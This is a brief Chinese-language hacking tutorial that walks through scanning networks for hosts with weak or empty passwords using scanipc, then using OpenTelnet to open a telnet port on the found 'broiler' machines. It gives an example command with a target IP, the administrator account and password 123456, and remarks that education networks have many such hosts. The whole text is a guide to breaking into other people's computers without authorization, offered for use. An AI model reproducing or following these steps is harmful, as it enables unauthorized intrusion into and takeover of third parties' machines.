第一步：扫描弱口令
这里我用20cn开发的scanipc
不一会就会扫到很多有弱口令的主机(就我的经验在教育网上这样的主机比较多)
第二步：连接刚扫的肉鸡
这里我用opentelnet给扫描到开了空口令的主机开个端口让我们telnet连接上去
,开了23端口，并可以连接上的主机就不用进行次步骤了!
Opentelnet使用方法:
OpenTelnet.exe \\server
列如:
C:\OpenTelnet.exe \\192.168.1.2 administrator 123456 1 90 用户名：administrator 密码：123456
